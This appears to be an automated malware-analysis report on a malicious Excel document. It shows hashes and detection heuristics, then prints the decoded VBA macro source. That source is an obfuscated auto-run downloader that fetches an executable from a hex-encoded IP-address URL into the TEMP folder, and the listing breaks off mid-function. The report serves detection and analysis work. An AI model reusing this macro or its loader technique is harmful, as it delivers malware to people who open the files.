Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cbdc93de4eded4d2…

MALICIOUS

Office (OLE)

86.0 KB Created: 1996-10-08 23:32:33 Authoring application: Microsoft Excel First seen: 2015-01-04
MD5: 0eed6374118743dcaf207df327d5fa07 SHA-1: 63cee28b2ae4aa1d204223764ca7d6bbf6ac16cb SHA-256: cbdc93de4eded4d2df825a30f0e255136c3564738e3298f367a4557b5b360eba
194 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The critical heuristic 'Obfuscated auto-exec VBA loader' indicates the presence of a complex VBA macro designed to execute code. The macro uses obfuscation techniques and calls `CreateObject`, suggesting it's intended to download and execute a secondary payload. The presence of `AutoOpen` and `Workbook_Open` macros further supports this, as they are common entry points for malicious VBA code. The script itself is heavily obfuscated, making a precise determination of its final action difficult, but the overall pattern points to a downloader.

Heuristics 9

  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set XBPRTLRBYRM = CreateObject("MSXML2.XMLHTTP")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set XBPRTLRBYRM = CreateObject("MSXML2.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        NMVBUIMOQXM fdhdfgdfvdfv("687474703A2F2F37382E3132392E3135332E32332F73737461742F6C6C6476732E706870"), Environ(fdhdfgdfvdfv("54454D50")) & fdhdfgdfvdfv("5C564D5559585759534658512E657865")
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 33800 bytes
SHA-256: 47e9ca2ca605a2f67fe83974ca41e794de8b4ad408673c901fcb5d81a7eeeb08
Detection
ClamAV: No threats found
Obfuscation or payload: likely
260 of 333 identifiers look randomly generated (e.g. 'fdhdfgdfvdfv') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Function fdhdfgdfvdfv(ByVal zoIypDNwwjV As String) As String
Dim TguctfjIxu As String
Dim GDbwUbQj As String
Dim AVYhrmO As Long
For AVYhrmO = 1 To Len(zoIypDNwwjV) Step 2

Dim iLPfEiES As Integer

Dim OJqAhgyp As Integer
OJqAhgyp = 5
Do While OJqAhgyp < 41
DoEvents: OJqAhgyp = OJqAhgyp + 1
Loop

iLPfEiES = 2
Do While iLPfEiES < 91

Dim ViDlxznq As Integer
ViDlxznq = 7
Do While ViDlxznq < 74
DoEvents: ViDlxznq = ViDlxznq + 1
Loop

DoEvents: iLPfEiES = iLPfEiES + 1

Dim pGJeYTsP As Integer
pGJeYTsP = 9
Do While pGJeYTsP < 38
DoEvents: pGJeYTsP = pGJeYTsP + 1
Loop

Loop


Dim gdjyLRpN As Integer
gdjyLRpN = 1
Do While gdjyLRpN < 43
DoEvents: gdjyLRpN = gdjyLRpN + 1
Loop

TguctfjIxu = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(zoIypDNwwjV, AVYhrmO, 2)))

Dim JGzCvngd As Integer

Dim BNwPvQCk As Integer
BNwPvQCk = 1
Do While BNwPvQCk < 72
DoEvents: BNwPvQCk = BNwPvQCk + 1
Loop

JGzCvngd = 6
Do While JGzCvngd < 97

Dim qYOUchUB As Integer
qYOUchUB = 3
Do While qYOUchUB < 32
DoEvents: qYOUchUB = qYOUchUB + 1
Loop

DoEvents: JGzCvngd = JGzCvngd + 1

Dim QICEvWCG As Integer
QICEvWCG = 7
Do While QICEvWCG < 11
DoEvents: QICEvWCG = QICEvWCG + 1
Loop

Loop


Dim JBCPHGEN As Integer
JBCPHGEN = 8
Do While JBCPHGEN < 24
DoEvents: JBCPHGEN = JBCPHGEN + 1
Loop

GDbwUbQj = GDbwUbQj & TguctfjIxu
Next AVYhrmO

Dim ARCfhUex As Integer

Dim MZWFRmLD As Integer
MZWFRmLD = 9
Do While MZWFRmLD < 39
DoEvents: MZWFRmLD = MZWFRmLD + 1
Loop

ARCfhUex = 3
Do While ARCfhUex < 66

Dim GujiPjhF As Integer
GujiPjhF = 6
Do While GujiPjhF < 92
DoEvents: GujiPjhF = GujiPjhF + 1
Loop

DoEvents: ARCfhUex = ARCfhUex + 1

Dim VGWEDiKr As Integer
VGWEDiKr = 9
Do While VGWEDiKr < 79
DoEvents: VGWEDiKr = VGWEDiKr + 1
Loop

Loop


Dim kvmYtOTF As Integer
kvmYtOTF = 4
Do While kvmYtOTF < 16
DoEvents: kvmYtOTF = kvmYtOTF + 1
Loop

fdhdfgdfvdfv = GDbwUbQj
End Function


Sub Auto_Open()

Dim HfmTgPKy As Integer

Dim OXOSGcGS As Integer

Dim miHNpSmb As Integer
miHNpSmb = 4
Do While miHNpSmb < 24
DoEvents: miHNpSmb = miHNpSmb + 1
Loop

OXOSGcGS = 4
Do While OXOSGcGS < 89

Dim RzHBfcnl As Integer
RzHBfcnl = 6
Do While RzHBfcnl < 43
DoEvents: RzHBfcnl = RzHBfcnl + 1
Loop

DoEvents: OXOSGcGS = OXOSGcGS + 1

Dim DBYQZoIr As Integer
DBYQZoIr = 5
Do While DBYQZoIr < 24
DoEvents: DBYQZoIr = DBYQZoIr + 1
Loop

Loop


Dim UUYQnkBE As Integer
UUYQnkBE = 7
Do While UUYQnkBE < 11
DoEvents: UUYQnkBE = UUYQnkBE + 1
Loop

HfmTgPKy = 6
Do While HfmTgPKy < 65

Dim eToGuBZw As Integer

Dim HPHaXeMP As Integer
HPHaXeMP = 8
Do While HPHaXeMP < 21
DoEvents: HPHaXeMP = HPHaXeMP + 1
Loop

eToGuBZw = 8
Do While eToGuBZw < 26

Dim TCfpJqCz As Integer
TCfpJqCz = 6
Do While TCfpJqCz < 93
DoEvents: TCfpJqCz = TCfpJqCz + 1
Loop

DoEvents: eToGuBZw = eToGuBZw + 1

Dim DeffRtDy As Integer
DeffRtDy = 5
Do While DeffRtDy < 53
DoEvents: DeffRtDy = DeffRtDy + 1
Loop

Loop


Dim BInqEOxD As Integer
BInqEOxD = 1
Do While BInqEOxD < 78
DoEvents: BInqEOxD = BInqEOxD + 1
Loop

DoEvents: HfmTgPKy = HfmTgPKy + 1

Dim NCOGTeQI As Integer

Dim sumPPjjI As Integer
sumPPjjI = 9
Do While sumPPjjI < 42
DoEvents: sumPPjjI = sumPPjjI + 1
Loop

NCOGTeQI = 1
Do While NCOGTeQI < 72

Dim SyXIqGNl As Integer
SyXIqGNl = 5
Do While SyXIqGNl < 25
DoEvents: SyXIqGNl = SyXIqGNl + 1
Loop

DoEvents: NCOGTeQI = NCOGTeQI + 1

Dim AmpEjXtR As Integer
AmpEjXtR = 6
Do While AmpEjXtR < 59
DoEvents: AmpEjXtR = AmpEjXtR + 1
Loop

Loop


Dim WidhgmYi As Integer
WidhgmYi = 6
Do While WidhgmYi < 64
DoEvents: WidhgmYi = WidhgmYi + 1
Loop

Loop


Dim uqBAlLaY As Integer

Dim yLzpzMFH As Integer
yLzpzMFH = 8
Do While yLzpzMFH < 81
DoEvents: yLzpzMFH = yLzpzMFH + 1
Loop

uqBAlLaY = 2
Do While uqBAlLaY < 28

Dim XCxfNcFH As Integer
XCxfNcFH = 7
Do While XCxfNcFH < 72
DoEvents: XCxfNcFH = XCxfNcFH + 1
Loop

DoEvents: uqBAlLaY = uqBAlLaY + 1

Dim omlZBuVE As Integer
omlZBuVE = 9
Do While omlZBuVE < 34
DoEvents: omlZBuVE = omlZBuVE + 1
Loop

Loop


Dim OjqtWnje As Integer
OjqtWnje = 5
Do While OjqtWnje < 83
DoEvents: OjqtWnje = OjqtWnje + 1
Loop

CPBNVGANNHK

Dim hmsdWdWG As Integer

Dim tlfwEQsO As Integer

Dim wVFVGnwx As Integer
wVFVGnwx = 5
Do While wVFVGnwx < 46
DoEvents: wVFVGnwx = wVFVGnwx + 1
Loop

tlfwEQsO = 2
Do While tlfwEQsO < 57

Dim tLdBdEVn As Integer
tLdBdEVn = 8
Do While tLdBdEVn < 81
DoEvents: tLdBdEVn = tLdBdEVn + 1
Loop

DoEvents: tlfwEQsO = tlfwEQsO + 1

Dim ljpfqfid As Integer
ljpfqfid = 4
Do While ljpfqfid < 77
DoEvents: ljpfqfid = ljpfqfid + 1
Loop

Loop


Dim GFTIaDGV As Integer
GFTIaDGV = 8
Do While GFTIaDGV < 22
DoEvents: GFTIaDGV = GFTIaDGV + 1
Loop

hmsdWdWG = 3
Do While hmsdWdWG < 78

Dim UiIVJglI As Integer

Dim AhQoCPKt As Integer
AhQoCPKt = 3
Do While AhQoCPKt < 63
DoEvents: AhQoCPKt = AhQoCPKt + 1
Loop

UiIVJglI = 6
Do While UiIVJglI < 15

Dim knftZQjq As Integer
knftZQjq = 1
Do While knftZQjq < 55
DoEvents: knftZQjq = knftZQjq + 1
Loop

DoEvents: UiIVJglI = UiIVJglI + 1

Dim NAibraGT As Integer
NAibraGT = 1
Do While NAibraGT < 77
DoEvents: NAibraGT = NAibraGT + 1
Loop

Loop


Dim HRcjnBpR As Integer
HRcjnBpR = 8
Do While HRcjnBpR < 67
DoEvents: HRcjnBpR = HRcjnBpR + 1
Loop

DoEvents: hmsdWdWG = hmsdWdWG + 1

Dim GfUaRppQ As Integer

Dim aBdXUYNK As Integer
aBdXUYNK = 1
Do While aBdXUYNK < 44
DoEvents: aBdXUYNK = aBdXUYNK + 1
Loop

GfUaRppQ = 5
Do While GfUaRppQ < 55

Dim bpHTxJIV As Integer
bpHTxJIV = 5
Do While bpHTxJIV < 86
DoEvents: bpHTxJIV = bpHTxJIV + 1
Loop

DoEvents: GfUaRppQ = GfUaRppQ + 1

Dim jiciwNLh As Integer
jiciwNLh = 1
Do While jiciwNLh < 14
DoEvents: jiciwNLh = jiciwNLh + 1
Loop

Loop


Dim glZGHKtq As Integer
glZGHKtq = 1
Do While glZGHKtq < 15
DoEvents: glZGHKtq = glZGHKtq + 1
Loop

Loop


Dim beZkwhVW As Integer

Dim hfWlamaK As Integer
hfWlamaK = 4
Do While hfWlamaK < 15
DoEvents: hfWlamaK = hfWlamaK + 1
Loop

beZkwhVW = 3
Do While beZkwhVW < 33

Dim mGzWRpoH As Integer
mGzWRpoH = 4
Do While mGzWRpoH < 29
DoEvents: mGzWRpoH = mGzWRpoH + 1
Loop

DoEvents: beZkwhVW = beZkwhVW + 1

Dim Vlmczvle As Integer
Vlmczvle = 7
Do While Vlmczvle < 14
DoEvents: Vlmczvle = Vlmczvle + 1
Loop

Loop


Dim PMRSGcQa As Integer
PMRSGcQa = 5
Do While PMRSGcQa < 13
DoEvents: PMRSGcQa = PMRSGcQa + 1
Loop

fdvdfvfd
End Sub
Sub AutoOpen()

Dim YwqhSLJS As Integer

Dim FlpSfQWY As Integer

Dim wbATzqVX As Integer
wbATzqVX = 2
Do While wbATzqVX < 27
DoEvents: wbATzqVX = wbATzqVX + 1
Loop

FlpSfQWY = 5
Do While FlpSfQWY < 94

Dim pBHESkKf As Integer
pBHESkKf = 9
Do While pBHESkKf < 92
DoEvents: pBHESkKf = pBHESkKf + 1
Loop

DoEvents: FlpSfQWY = FlpSfQWY + 1

Dim iuudDdli As Integer
iuudDdli = 9
Do While iuudDdli < 32
DoEvents: iuudDdli = iuudDdli + 1
Loop

Loop


Dim kNsBAJLG As Integer
kNsBAJLG = 1
Do While kNsBAJLG < 59
DoEvents: kNsBAJLG = kNsBAJLG + 1
Loop

YwqhSLJS = 6
Do While YwqhSLJS < 46

Dim MPpKRYnJ As Integer

Dim vmPEJWFH As Integer
vmPEJWFH = 3
Do While vmPEJWFH < 88
DoEvents: vmPEJWFH = vmPEJWFH + 1
Loop

MPpKRYnJ = 6
Do While MPpKRYnJ < 89

Dim eKUSqCzS As Integer
eKUSqCzS = 1
Do While eKUSqCzS < 53
DoEvents: eKUSqCzS = eKUSqCzS + 1
Loop

DoEvents: MPpKRYnJ = MPpKRYnJ + 1

Dim bkLMdxQh As Integer
bkLMdxQh = 3
Do While bkLMdxQh < 35
DoEvents: bkLMdxQh = bkLMdxQh + 1
Loop

Loop


Dim rHJrYbBs As Integer
rHJrYbBs = 8
Do While rHJrYbBs < 89
DoEvents: rHJrYbBs = rHJrYbBs + 1
Loop

DoEvents: YwqhSLJS = YwqhSLJS + 1

Dim sRIBYjBS As Integer

Dim sWHpzWFY As Integer
sWHpzWFY = 3
Do While sWHpzWFY < 63
DoEvents: sWHpzWFY = sWHpzWFY + 1
Loop

sRIBYjBS = 3
Do While sRIBYjBS < 32

Dim VbILkNxK As Integer
VbILkNxK = 7
Do While VbILkNxK < 15
DoEvents: VbILkNxK = VbILkNxK + 1
Loop

DoEvents: sRIBYjBS = sRIBYjBS + 1

Dim RHflQiqL As Integer
RHflQiqL = 6
Do While RHflQiqL < 49
DoEvents: RHflQiqL = RHflQiqL + 1
Loop

Loop


Dim BhOwMHFY As Integer
BhOwMHFY = 1
Do While BhOwMHFY < 75
DoEvents: BhOwMHFY = BhOwMHFY + 1
Loop

Loop


Dim TlQSRGnh As Integer

Dim hwiIizaN As Integer
hwiIizaN = 3
Do While hwiIizaN < 31
DoEvents: hwiIizaN = hwiIizaN + 1
Loop

TlQSRGnh = 4
Do While TlQSRGnh < 45

Dim vwPxRwDi As Integer
vwPxRwDi = 3
Do While vwPxRwDi < 36
DoEvents: vwPxRwDi = vwPxRwDi + 1
Loop

DoEvents: TlQSRGnh = TlQSRGnh + 1

Dim DUZezrJX As Integer
DUZezrJX = 8
Do While DUZezrJX < 21
DoEvents: DUZezrJX = DUZezrJX + 1
Loop

Loop


Dim ABEahMnZ As Integer
ABEahMnZ = 6
Do While ABEahMnZ < 94
DoEvents: ABEahMnZ = ABEahMnZ + 1
Loop

    Auto_Open
End Sub
Sub Workbook_Open()

Dim opOmJgwb As Integer

Dim NJddPwSl As Integer

Dim ODIncOvR As Integer
ODIncOvR = 7
Do While ODIncOvR < 49
DoEvents: ODIncOvR = ODIncOvR + 1
Loop

NJddPwSl = 1
Do While NJddPwSl < 43

Dim oJDskGFT As Integer
oJDskGFT = 2
Do While oJDskGFT < 91
DoEvents: oJDskGFT = oJDskGFT + 1
Loop

DoEvents: NJddPwSl = NJddPwSl + 1

Dim mbHXAlbt As Integer
mbHXAlbt = 2
Do While mbHXAlbt < 88
DoEvents: mbHXAlbt = mbHXAlbt + 1
Loop

Loop


Dim zbVBMPgc As Integer
zbVBMPgc = 1
Do While zbVBMPgc < 49
DoEvents: zbVBMPgc = zbVBMPgc + 1
Loop

opOmJgwb = 9
Do While opOmJgwb < 32

Dim jBYSlVva As Integer

Dim elwjHyTL As Integer
elwjHyTL = 1
Do While elwjHyTL < 58
DoEvents: elwjHyTL = elwjHyTL + 1
Loop

jBYSlVva = 1
Do While jBYSlVva < 49

Dim mwfVjhJK As Integer
mwfVjhJK = 4
Do While mwfVjhJK < 88
DoEvents: mwfVjhJK = mwfVjhJK + 1
Loop

DoEvents: jBYSlVva = jBYSlVva + 1

Dim tdNalwUM As Integer
tdNalwUM = 8
Do While tdNalwUM < 84
DoEvents: tdNalwUM = tdNalwUM + 1
Loop

Loop


Dim WnttaXHd As Integer
WnttaXHd = 9
Do While WnttaXHd < 67
DoEvents: WnttaXHd = WnttaXHd + 1
Loop

DoEvents: opOmJgwb = opOmJgwb + 1

Dim ExZakUID As Integer

Dim HtwVCZGJ As Integer
HtwVCZGJ = 6
Do While HtwVCZGJ < 91
DoEvents: HtwVCZGJ = HtwVCZGJ + 1
Loop

ExZakUID = 6
Do While ExZakUID < 36

Dim ZOdQaljc As Integer
ZOdQaljc = 3
Do While ZOdQaljc < 91
DoEvents: ZOdQaljc = ZOdQaljc + 1
Loop

DoEvents: ExZakUID = ExZakUID + 1

Dim tcSOPAec As Integer
tcSOPAec = 2
Do While tcSOPAec < 21
DoEvents: tcSOPAec = tcSOPAec + 1
Loop

Loop


Dim gpIITlVl As Integer
gpIITlVl = 1
Do While gpIITlVl < 14
DoEvents: gpIITlVl = gpIITlVl + 1
Loop

Loop


Dim YoDqwvXP As Integer

Dim XwAfyXtO As Integer
XwAfyXtO = 7
Do While XwAfyXtO < 76
DoEvents: XwAfyXtO = XwAfyXtO + 1
Loop

YoDqwvXP = 6
Do While YoDqwvXP < 44

Dim sZVTdetn As Integer
sZVTdetn = 9
Do While sZVTdetn < 97
DoEvents: sZVTdetn = sZVTdetn + 1
Loop

DoEvents: YoDqwvXP = YoDqwvXP + 1

Dim UQhzbZKx As Integer
UQhzbZKx = 4
Do While UQhzbZKx < 77
DoEvents: UQhzbZKx = UQhzbZKx + 1
Loop

Loop


Dim uGlFlOoc As Integer
uGlFlOoc = 8
Do While uGlFlOoc < 38
DoEvents: uGlFlOoc = uGlFlOoc + 1
Loop

    Auto_Open
End Sub

Sub CPBNVGANNHK()

Dim RIeaJSDl As Integer

Dim FdLHFLmw As Integer

Dim TJKUXTEO As Integer
TJKUXTEO = 6
Do While TJKUXTEO < 93
DoEvents: TJKUXTEO = TJKUXTEO + 1
Loop

FdLHFLmw = 5
Do While FdLHFLmw < 54

Dim VIEKqMfW As Integer
VIEKqMfW = 1
Do While VIEKqMfW < 41
DoEvents: VIEKqMfW = VIEKqMfW + 1
Loop

DoEvents: FdLHFLmw = FdLHFLmw + 1

Dim iEckqvHm As Integer
iEckqvHm = 9
Do While iEckqvHm < 97
DoEvents: iEckqvHm = iEckqvHm + 1
Loop

Loop


Dim OTAnnieF As Integer
OTAnnieF = 4
Do While OTAnnieF < 48
DoEvents: OTAnnieF = OTAnnieF + 1
Loop

RIeaJSDl = 6
Do While RIeaJSDl < 91

Dim sZzywhVN As Integer

Dim vJaIgyse As Integer
vJaIgyse = 5
Do While vJaIgyse < 31
DoEvents: vJaIgyse = vJaIgyse + 1
Loop

sZzywhVN = 9
Do While sZzywhVN < 97

Dim lbiJaohu As Integer
lbiJaohu = 4
Do While lbiJaohu < 17
DoEvents: lbiJaohu = lbiJaohu + 1
Loop

DoEvents: sZzywhVN = sZzywhVN + 1

Dim mpEuvDPv As Integer
mpEuvDPv = 2
Do While mpEuvDPv < 86
DoEvents: mpEuvDPv = mpEuvDPv + 1
Loop

Loop


Dim uLVTonBV As Integer
uLVTonBV = 2
Do While uLVTonBV < 53
DoEvents: uLVTonBV = uLVTonBV + 1
Loop

DoEvents: RIeaJSDl = RIeaJSDl + 1

Dim ViQcpOFI As Integer

Dim CzQPGHEH As Integer
CzQPGHEH = 7
Do While CzQPGHEH < 72
DoEvents: CzQPGHEH = CzQPGHEH + 1
Loop

ViQcpOFI = 9
Do While ViQcpOFI < 45

Dim bGynmXvg As Integer
bGynmXvg = 3
Do While bGynmXvg < 39
DoEvents: bGynmXvg = bGynmXvg + 1
Loop

DoEvents: ViQcpOFI = ViQcpOFI + 1

Dim uaumWKkJ As Integer
uaumWKkJ = 2
Do While uaumWKkJ < 54
DoEvents: uaumWKkJ = uaumWKkJ + 1
Loop

Loop


Dim lEZLhiKa As Integer
lEZLhiKa = 2
Do While lEZLhiKa < 55
DoEvents: lEZLhiKa = lEZLhiKa + 1
Loop

Loop


Dim jalWDyrt As Integer

Dim UHTlFGXX As Integer
UHTlFGXX = 4
Do While UHTlFGXX < 78
DoEvents: UHTlFGXX = UHTlFGXX + 1
Loop

jalWDyrt = 4
Do While jalWDyrt < 74

Dim NCPZMRil As Integer
NCPZMRil = 7
Do While NCPZMRil < 44
DoEvents: NCPZMRil = NCPZMRil + 1
Loop

DoEvents: jalWDyrt = jalWDyrt + 1

Dim tllHdaub As Integer
tllHdaub = 2
Do While tllHdaub < 29
DoEvents: tllHdaub = tllHdaub + 1
Loop

Loop


Dim jalNfgmZ As Integer
jalNfgmZ = 1
Do While jalNfgmZ < 12
DoEvents: jalNfgmZ = jalNfgmZ + 1
Loop

    NMVBUIMOQXM fdhdfgdfvdfv("687474703A2F2F37382E3132392E3135332E32332F73737461742F6C6C6476732E706870"), Environ(fdhdfgdfvdfv("54454D50")) & fdhdfgdfvdfv("5C564D5559585759534658512E657865")
End Sub

Function NMVBUIMOQXM(ByVal UMUFWTFSKCX As String, ByVal RCFFODVWBKD As String) As Boolean
     Dim XBPRTLRBYRM As Object, VVXTBBFVINC As Long, PUTVPTITTWC As Long, QOSQEZUAJDG() As Byte


Dim xRWYRQeF As Integer

Dim APjyVuof As Integer

Dim miWcARfU As Integer
miWcARfU = 2
Do While miWcARfU < 52
DoEvents: miWcARfU = miWcARfU + 1
Loop

APjyVuof = 6
Do While APjyVuof < 38

Dim SiKKFYWm As Integer
SiKKFYWm = 5
Do While SiKKFYWm < 82
DoEvents: SiKKFYWm = SiKKFYWm + 1
Loop

DoEvents: APjyVuof = APjyVuof + 1

Dim LgFreCcg As Integer
LgFreCcg = 9
Do While LgFreCcg < 65
DoEvents: LgFreCcg = LgFreCcg + 1
Loop

Loop


Dim zoWsMZhS As Integer
zoWsMZhS = 1
Do While zoWsMZhS < 17
DoEvents: zoWsMZhS = zoWsMZhS + 1
Loop

xRWYRQeF = 2
Do While xRWYRQeF < 27

Dim JutvOvED As Integer

Dim uMMBZQkN As Integer
uMMBZQkN = 8
Do While uMMBZQkN < 81
DoEvents: uMMBZQkN = uMMBZQkN + 1
Loop

JutvOvED = 8
Do While JutvOvED < 87

Dim MhnbWzeO As Integer
MhnbWzeO = 6
Do While MhnbWzeO < 65
DoEvents: MhnbWzeO = MhnbWzeO + 1
Loop

DoEvents: JutvOvED = JutvOvED + 1

Dim bFltvdWJ As Integer
bFltvdWJ = 5
Do While bFltvdWJ < 82
DoEvents: bFltvdWJ = bFltvdWJ + 1
Loop

Loop


Dim CMAswmZO As Integer
CMAswmZO = 7
Do While CMAswmZO < 18
DoEvents: CMAswmZO = CMAswmZO + 1
Loop

DoEvents: xRWYRQeF = xRWYRQeF + 1

Dim ckugxORW As Integer

Dim TYshRYZT As Integer
TYshRYZT = 6
Do While TYshRYZT < 48
DoEvents: TYshRYZT = TYshRYZT + 1
Loop

ckugxORW = 5
Do While ckugxORW < 87

Dim UkcwWSVu As Integer
UkcwWSVu = 7
Do While UkcwWSVu < 45
DoEvents: UkcwWSVu = UkcwWSVu + 1
Loop

DoEvents: ckugxORW = ckugxORW + 1

Dim CTgyytMj As Integer
CTgyytMj = 7
Do While CTgyytMj < 39
DoEvents: CTgyytMj = CTgyytMj + 1
Loop

Loop


Dim cxOqBytC As Integer
cxOqBytC = 5
Do While cxOqBytC < 88
DoEvents: cxOqBytC = cxOqBytC + 1
Loop

Loop


Dim iieTfHlt As Integer

Dim ImzbsySN As Integer
ImzbsySN = 7
Do While ImzbsySN < 18
DoEvents: ImzbsySN = ImzbsySN + 1
Loop

iieTfHlt = 2
…